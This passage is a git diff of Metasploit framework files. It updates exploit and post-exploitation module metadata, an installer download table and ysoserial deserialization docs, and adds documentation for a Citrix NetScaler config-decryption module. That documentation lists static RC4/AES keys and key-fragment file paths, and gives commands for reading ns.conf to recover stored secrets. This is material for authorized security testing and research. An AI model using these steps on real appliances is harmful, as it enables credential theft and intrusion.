"ref_name": "windows/http/zoho_password_manager_pro_xml_rpc_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/ibm/ibm_was_dmgr_java_deserialization_rce": {
|
||||
"name": "IBM Websphere Application Server Network Deployment Untrusted Data Deserialization Remote Code Execution",
|
||||
"fullname": "exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce",
|
||||
@@ -146667,7 +147773,7 @@
|
||||
"author": [
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "This exploits a buffer overflow in the request processor of\n the Internet Printing Protocol ISAPI module in IIS. This\n module works against Windows 2000 service pack 0 and 1. If\n the service stops responding after a successful compromise,\n run the exploit a couple more times to completely kill the\n hung process.",
|
||||
"description": "This exploits a buffer overflow in the request processor of the\n Internet Printing Protocol ISAPI module in IIS. This module\n works against Windows 2000 Server and Professional SP0-SP1.\n\n If the service stops responding after a successful compromise,\n run the exploit a couple more times to completely kill the\n hung process.",
|
||||
"references": [
|
||||
"CVE-2001-0241",
|
||||
"OSVDB-3323",
|
||||
@@ -146676,18 +147782,43 @@
|
||||
"URL-https://seclists.org/lists/bugtraq/2001/May/0005.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"arch": "x86",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows 2000 English SP0-SP1"
|
||||
"Windows 2000 SP0-SP1 (Arabic)",
|
||||
"Windows 2000 SP0-SP1 (Czech)",
|
||||
"Windows 2000 SP0-SP1 (Chinese)",
|
||||
"Windows 2000 SP0-SP1 (Dutch)",
|
||||
"Windows 2000 SP0-SP1 (English)",
|
||||
"Windows 2000 SP0-SP1 (French)",
|
||||
"Windows 2000 SP0-SP1 (Finnish)",
|
||||
"Windows 2000 SP0-SP1 (German)",
|
||||
"Windows 2000 SP0-SP1 (Korean)",
|
||||
"Windows 2000 SP0-SP1 (Hungarian)",
|
||||
"Windows 2000 SP0-SP1 (Italian)",
|
||||
"Windows 2000 SP0-SP1 (Portuguese)",
|
||||
"Windows 2000 SP0-SP1 (Spanish)",
|
||||
"Windows 2000 SP0-SP1 (Swedish)",
|
||||
"Windows 2000 SP0-SP1 (Turkish)",
|
||||
"Windows 2000 Pro SP0 (Greek)",
|
||||
"Windows 2000 Pro SP1 (Greek)"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-07-09 01:36:10 +0000",
|
||||
"path": "/modules/exploits/windows/iis/ms01_023_printer.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/iis/ms01_023_printer",
|
||||
@@ -146695,6 +147826,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -146711,7 +147851,7 @@
|
||||
"author": [
|
||||
"jduck <jduck@metasploit.com>"
|
||||
],
|
||||
"description": "This module will execute an arbitrary payload on a Microsoft IIS installation\n that is vulnerable to the CGI double-decode vulnerability of 2001.\n\n NOTE: This module will leave a metasploit payload in the IIS scripts directory.",
|
||||
"description": "This module will execute an arbitrary payload on a Microsoft IIS installation\n that is vulnerable to the CGI double-decode vulnerability of 2001.\n\n This module has been tested successfully on:\n\n Windows 2000 Professional (SP0) (EN);\n Windows 2000 Professional (SP1) (AR);\n Windows 2000 Professional (SP1) (CZ);\n Windows 2000 Server (SP0) (FR);\n Windows 2000 Server (SP1) (EN); and\n Windows 2000 Server (SP1) (SE).\n\n Note: This module will leave a Metasploit payload exe in the IIS scripts directory.",
|
||||
"references": [
|
||||
"CVE-2001-0333",
|
||||
"OSVDB-556",
|
||||
@@ -146723,15 +147863,25 @@
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
"Windows (Dropper)",
|
||||
"Windows (Command)"
|
||||
],
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-07-03 18:22:55 +0000",
|
||||
"path": "/modules/exploits/windows/iis/ms01_026_dbldecode.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/iis/ms01_026_dbldecode",
|
||||
@@ -146739,6 +147889,16 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
@@ -146840,7 +148000,7 @@
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2002-11-20",
|
||||
"disclosure_date": "2002-11-02",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"aushack <patrick@osisecurity.com.au>"
|
||||
@@ -146854,7 +148014,7 @@
|
||||
"URL-http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"arch": "x86",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
@@ -146872,9 +148032,18 @@
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows 2000 Pro English SP0"
|
||||
"Windows 2000 Pro SP0-SP3 (English)",
|
||||
"Windows 2000 Pro SP0 (Korean)",
|
||||
"Windows 2000 Pro SP0 (Dutch)",
|
||||
"Windows 2000 Pro SP0 (Finnish)",
|
||||
"Windows 2000 Pro SP0 (Turkish)",
|
||||
"Windows 2000 Pro SP0-SP1 (Greek)",
|
||||
"Windows 2000 Pro SP1 (Arabic)",
|
||||
"Windows 2000 Pro SP1 (Czech)",
|
||||
"Windows 2000 Pro SP2 (French)",
|
||||
"Windows 2000 Pro SP2 (Portuguese)"
|
||||
],
|
||||
"mod_time": "2017-11-09 03:00:24 +0000",
|
||||
"mod_time": "2022-07-15 00:15:56 +0000",
|
||||
"path": "/modules/exploits/windows/iis/ms02_065_msadc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/iis/ms02_065_msadc",
|
||||
@@ -146882,6 +148051,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -146898,15 +148076,16 @@
|
||||
"author": [
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "This exploits a buffer overflow in NTDLL.dll on Windows 2000\n through the SEARCH WebDAV method in IIS. This particular\n module only works against Windows 2000. It should have a\n reasonable chance of success against any service pack.",
|
||||
"description": "This exploits a buffer overflow in NTDLL.dll on Windows 2000\n through the SEARCH WebDAV method in IIS. This particular\n module only works against Windows 2000. It should have a\n reasonable chance of success against SP0 to SP3.",
|
||||
"references": [
|
||||
"CVE-2003-0109",
|
||||
"OSVDB-4467",
|
||||
"BID-7116",
|
||||
"PACKETSTORM-30939",
|
||||
"MSB-MS03-007"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"arch": "x86",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
@@ -146926,7 +148105,7 @@
|
||||
"targets": [
|
||||
"Automatic Brute Force"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-07-07 20:31:57 +0000",
|
||||
"path": "/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/iis/ms03_007_ntdll_webdav",
|
||||
@@ -146934,6 +148113,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -146979,7 +148167,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/windows/iis/msadc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/iis/msadc",
|
||||
@@ -151058,7 +152246,7 @@
|
||||
"targets": [
|
||||
"Windows Vista, 7, and 2008"
|
||||
],
|
||||
"mod_time": "2021-09-08 21:56:02 +0000",
|
||||
"mod_time": "2022-07-28 11:02:59 +0000",
|
||||
"path": "/modules/exploits/windows/local/ms10_092_schelevator.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/ms10_092_schelevator",
|
||||
@@ -152981,7 +154169,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2021-09-08 21:56:02 +0000",
|
||||
"mod_time": "2022-06-29 19:18:47 +0000",
|
||||
"path": "/modules/exploits/windows/local/run_as.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/run_as",
|
||||
@@ -154249,7 +155437,7 @@
|
||||
"targets": [
|
||||
"Windows 2003 (with tftp client available)"
|
||||
],
|
||||
"mod_time": "2021-09-08 21:56:02 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/windows/misc/altiris_ds_sqli.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/misc/altiris_ds_sqli",
|
||||
@@ -159299,7 +160487,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/windows/mssql/mssql_payload.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/mssql/mssql_payload",
|
||||
@@ -162903,7 +164091,7 @@
|
||||
"targets": [
|
||||
"Windows 2000 SP2-SP4 + Windows XP SP0-SP1"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-07-10 00:07:26 +0000",
|
||||
"path": "/modules/exploits/windows/smb/ms04_007_killbill.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/smb/ms04_007_killbill",
|
||||
@@ -200704,17 +201892,17 @@
|
||||
"Carlos Perez <carlos_perez@darkoperator.com>",
|
||||
"egypt <egypt@metasploit.com>"
|
||||
],
|
||||
"description": "This module prints out the operating system environment variables",
|
||||
"description": "This module prints out the operating system environment variables.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Linux,Windows",
|
||||
"platform": "Linux,Unix,Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-01 13:37:15 +0000",
|
||||
"path": "/modules/post/multi/gather/env.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/gather/env",
|
||||
@@ -200722,8 +201910,18 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"powershell",
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
@@ -202700,7 +203898,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-11-04 05:28:32 +0000",
|
||||
"mod_time": "2022-05-24 08:44:37 +0000",
|
||||
"path": "/modules/post/multi/recon/sudo_commands.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/recon/sudo_commands",
|
||||
@@ -204660,7 +205858,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-04-02 10:43:57 +0000",
|
||||
"mod_time": "2022-07-20 17:21:58 +0000",
|
||||
"path": "/modules/post/windows/gather/checkvm.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/checkvm",
|
||||
@@ -208265,7 +209463,7 @@
|
||||
"author": [
|
||||
"averagesecurityguy <stephen@averagesecurityguy.info>"
|
||||
],
|
||||
"description": "This module will check the file system and registry for particular artifacts. The\n list of artifacts is read from data/post/enum_artifacts_list.txt or a user specified file. Any\n matches are written to the loot.",
|
||||
"description": "This module will check the file system and registry for particular artifacts.\n\n The list of artifacts is read in YAML format from data/post/enum_artifacts_list.txt\n or a user specified file. Any matches are written to the loot.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -208275,7 +209473,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-08-07 16:01:45 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_artifacts.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_artifacts",
|
||||
@@ -208283,8 +209481,19 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"powershell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
@@ -208989,7 +210198,7 @@
|
||||
"author": [
|
||||
"Carlos Perez <carlos_perez@darkoperator.com>"
|
||||
],
|
||||
"description": "This module will enumerate current and recently logged on Windows users",
|
||||
"description": "This module will enumerate current and recently logged on Windows users.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
@@ -208999,7 +210208,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-08-08 01:50:36 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_logged_on_users.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_logged_on_users",
|
||||
@@ -209007,8 +210216,19 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"powershell",
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
@@ -209159,7 +210379,7 @@
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/gather/enum_powershell_env": {
|
||||
"name": "Windows Gather Powershell Environment Setting Enumeration",
|
||||
"name": "Windows Gather PowerShell Environment Setting Enumeration",
|
||||
"fullname": "post/windows/gather/enum_powershell_env",
|
||||
"aliases": [
|
||||
|
||||
@@ -209170,9 +210390,10 @@
|
||||
"author": [
|
||||
"Carlos Perez <carlos_perez@darkoperator.com>"
|
||||
],
|
||||
"description": "This module will enumerate Microsoft Powershell settings",
|
||||
"description": "This module will enumerate Microsoft PowerShell settings.",
|
||||
"references": [
|
||||
|
||||
"URL-https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies",
|
||||
"URL-https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
@@ -209180,7 +210401,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-08-01 00:56:21 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_powershell_env.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_powershell_env",
|
||||
@@ -209188,9 +210409,20 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
"meterpreter",
|
||||
"shell",
|
||||
"powershell"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
@@ -210515,7 +211747,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-07-25 14:51:37 +0000",
|
||||
"path": "/modules/post/windows/gather/screen_spy.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/screen_spy",
|
||||
|
||||
@@ -12,8 +12,10 @@ The pgp signatures below can be verified with the following [public key](https:/
|
||||
|
||||
|Download Link|File Type|SHA1|PGP|
|
||||
|-|-|-|-|
|
||||
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.20.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.19.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.asc)|
|
||||
|
||||
@@ -29,7 +29,7 @@ Once the serialized object is generated and stored as `java_payload`, it's then
|
||||
### `#generate_java_deserialization_for_payload(name, payload)`
|
||||
This method will generate a serialized Java object that when loaded will execute the specified Metasploit payload. The payload will be converted to an operating system command using one of the supported techniques contained within this method and then passed to [`#generate_java_deserialization_for_command`](#generate_java_deserialization_for_commandname-shell-command).
|
||||
|
||||
- **name** - The payload name parameter must be one of the supported payloads stored in the `ysoserial` cache. As of this writing, the list includes: `BeanShelll1`, `Clogure`, `CommonBeanutils1`, `CommonsCollections2`, `CommonsCollections3`, `CommonsCollections4`, `CommonsCollections5`, `CommonsCollections6`, `Groovy1`, `Hibernate1`, `JBossInterceptors1`, `JRMPClient`, `JSON1`, `JavassistWeld1`, `Jdk7u21`, `MozillaRhino1`, `Myfaces1`, `ROME`, `Spring1`, `Spring2`, and `Vaadin1`. While `ysoserial` includes additional payloads that are not listed above, they are unsupported by the library due to the need for complex inputs. Should there be use cases for additional payloads, please consider opening an issue and submitting a pull request to add support.
|
||||
- **name** - The payload name parameter must be one of the supported payloads stored in the `ysoserial` cache. As of this writing, the list includes: `BeanShelll1`, `Clogure`, `CommonsBeanutils1`, `CommonsCollections2`, `CommonsCollections3`, `CommonsCollections4`, `CommonsCollections5`, `CommonsCollections6`, `Groovy1`, `Hibernate1`, `JBossInterceptors1`, `JRMPClient`, `JSON1`, `JavassistWeld1`, `Jdk7u21`, `MozillaRhino1`, `Myfaces1`, `ROME`, `Spring1`, `Spring2`, and `Vaadin1`. While `ysoserial` includes additional payloads that are not listed above, they are unsupported by the library due to the need for complex inputs. Should there be use cases for additional payloads, please consider opening an issue and submitting a pull request to add support.
|
||||
|
||||
- **payload** - The payload object to execute on the remote system. This is the native Metasploit payload object and it will be automatically converted to an operating system command using a technique suitable for the target platform and architecture. For example, x86 Windows payloads will be converted using a Powershell command. Not all platforms and architecture combinations are supported. Unsupported combinations will result in a `RuntimeError` being raised which will need to be handled by the module developer.
|
||||
|
||||
@@ -169,4 +169,4 @@ DONE! Successfully generated 0 static payloads and 22 dynamic payloads. Skippe
|
||||
At completion, the `data/ysoserial_payloads.json` file is overwritten and the 22 dynamic payloads are ready for use within the framework. Afterward, the developer should follow the standard `git` procedures to `add` and `commit` the new JSON file before generating a pull request and landing the updated JSON into the framework's `master` branch.
|
||||
|
||||
[1]: https://github.com/pimps/ysoserial-modified/blob/e71f70dbc5e8c27d72873014ac5cb7766f4b5b94/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11-L30
|
||||
[2]: https://github.com/rapid7/metasploit-framework/blob/d580e7d12218fbf62b190a0c0c6d25f43b8aa5be/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb
|
||||
[2]: https://github.com/rapid7/metasploit-framework/blob/d580e7d12218fbf62b190a0c0c6d25f43b8aa5be/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb
|
||||
|
||||
@@ -0,0 +1,212 @@
|
||||
This module takes a Citrix NetScaler `ns.conf` configuration file as input and extracts secrets that
|
||||
have been stored with reversible encryption. The module supports legacy NetScaler encryption (RC4)
|
||||
as well as the newer AES-256-ECB and AES-256-CBC encryption types. It is also possible to decrypt
|
||||
secrets protected by the Key Encryption Key (KEK) method, provided the key fragment files F1.key
|
||||
and F2.key are provided. Currently, keys for appliances in FIPS mode or running hardware HSM cannot
|
||||
be extracted. Root access to a NetScaler device or access to a NetScaler configuration backup are
|
||||
the most effective means of acquiring the configuration file and key fragments.
|
||||
|
||||
This module incorporates research published by dozer:
|
||||
|
||||
https://dozer.nz/posts/citrix-decrypt/
|
||||
|
||||
## Vulnerable Application
|
||||
This module is tested against the configuration files for NetScaler versions 10.x, 11x, 12.x and
|
||||
13.x. The module will work with files retrieved from a live NetScaler system as well as files
|
||||
extracted from an unencrypted NetScaler backup archive. This is possible because NetScaler uses
|
||||
well-known hard coded encryption keys which are visible on the system in the hidden file:
|
||||
|
||||
`/nsconfig/.skf`
|
||||
|
||||
These static keys are:
|
||||
|
||||
```
|
||||
NetScaler RC4:
|
||||
2286da6ca015bcd9b7259753c2a5fbc2
|
||||
NetScaler AES:
|
||||
351cbe38f041320f22d990ad8365889c7de2fcccae5a1a8707e21e4adccd4ad9
|
||||
```
|
||||
The module is also able to decrypt secrets encrypted with NetScaler KEK, provided the associated
|
||||
`F1.key` and `F2.key` fragments are provided. Private key passphrases that use `-passcrypt` are not
|
||||
currently decryptable by this module, but any secret that uses the `-encrypted` parameter should be
|
||||
fully recoverable.
|
||||
|
||||
## Verification Steps
|
||||
You must possess a NetScaler `ns.conf` file in order to use this module. If the NetScaler is running
|
||||
NS13.0 Build76.xx.nc or higher, or the administrator has configured KEK encryption, you must also
|
||||
possess the associated KEK key fragments in order to decrypt the file. All files must be local to
|
||||
the system invoking the module. Where possible, you should provide the `NS_IP` option to tag
|
||||
relevant loot entries with the IPv4 address of the originating system. If no value is provided for
|
||||
`NS_IP` the module defaults to assigning the loopback IP `127.0.0.1`.
|
||||
|
||||
1. Acquire the `ns.conf` file, and associated `F1.key` and `F2.key` files if using NS KEK
|
||||
2. Start msfconsole
|
||||
3. Do: `modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb`
|
||||
4. Do: `set ns_conf <path to ns.conf>` to provide the location of the NetScaler config file
|
||||
5. Do: `set ns_kek_f1 <path to f1.key>` if you are decrypting a file using NS KEK
|
||||
6. Do: `set ns_kek_f2 <path to f2.key>` if you are decrypting a file using NS KEK
|
||||
6. Do: `set ns_ip <NetScaler IPv4>` to attach the target NetScaler IPv4 address to loot entries
|
||||
7. Do: `dump`
|
||||
|
||||
## Options
|
||||
### NS_CONF
|
||||
|
||||
Path to the NetScaler configuration file on the local system. Example: `/tmp/ns.conf`
|
||||
|
||||
### NS_KEK_F1
|
||||
|
||||
Path to the first of two NS KEK fragments, if decrypting NS KEK. Example: `/tmp/F1.key`
|
||||
|
||||
### NS_KEK_F2
|
||||
|
||||
Path to the second of two NS KEK fragments, if decrypting NS KEK. Example: `/tmp/F2.key`
|
||||
|
||||
### NS_IP
|
||||
|
||||
Optional parameter to set the IPv4 address associated with loot entries made by the module.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Acquire NetScaler Config File
|
||||
NetScaler configuration files can be retrieved from a live system by running
|
||||
|
||||
`show ns.conf`
|
||||
|
||||
From the nscli or
|
||||
|
||||
`cat /nsconfig/ns.conf`
|
||||
|
||||
from the BSD shell. These files can also be retrieved from NetScaler configuration backup
|
||||
archives which are generated from the appliance admin interface.
|
||||
|
||||
### Acquire KEK Fragment Files
|
||||
As of NS13.0 Build76.xx.nc NetScaler requires mandatory use of the Key Encryption Key (KEK)
|
||||
scheme. If secrets within the config file use KEK, you must also posses the associated KEK F1
|
||||
and F2 fragment files in order to perform decryption. Secrets that require KEK fragments to
|
||||
decrypt will include the `-kek` parameter on the associated configuration line. It is possible
|
||||
for an admin to manually enable KEK in NS builds prior to Build76.xx.nc - if this has been done,
|
||||
the current KEK key fragments are located in the following paths:
|
||||
|
||||
`/nsconfig/F1.key`
|
||||
`/nsconfig/F2.key`
|
||||
|
||||
After NS13.0 Build76.xx.nc, KEK is mandatory and managed by the NetScaler itself. Key fragments
|
||||
are presumably regenerated during firmware upgrades, and a journal is maintained in `/nsconfig/keys`
|
||||
suffixed with a date stamp. The `F1.key` and `F2.key` files are ignored, and the new "current" KEK
|
||||
key is stored in hidden files at paths:
|
||||
|
||||
`/nsconfig/.F1.key`
|
||||
`/nsconfig/.F2.key`
|
||||
|
||||
As well as under `/nsconfig/keys`. Note that both fragments must be provided for successful
|
||||
decryption. The module can be run without providing KEK fragments, but will be unable to decrypt
|
||||
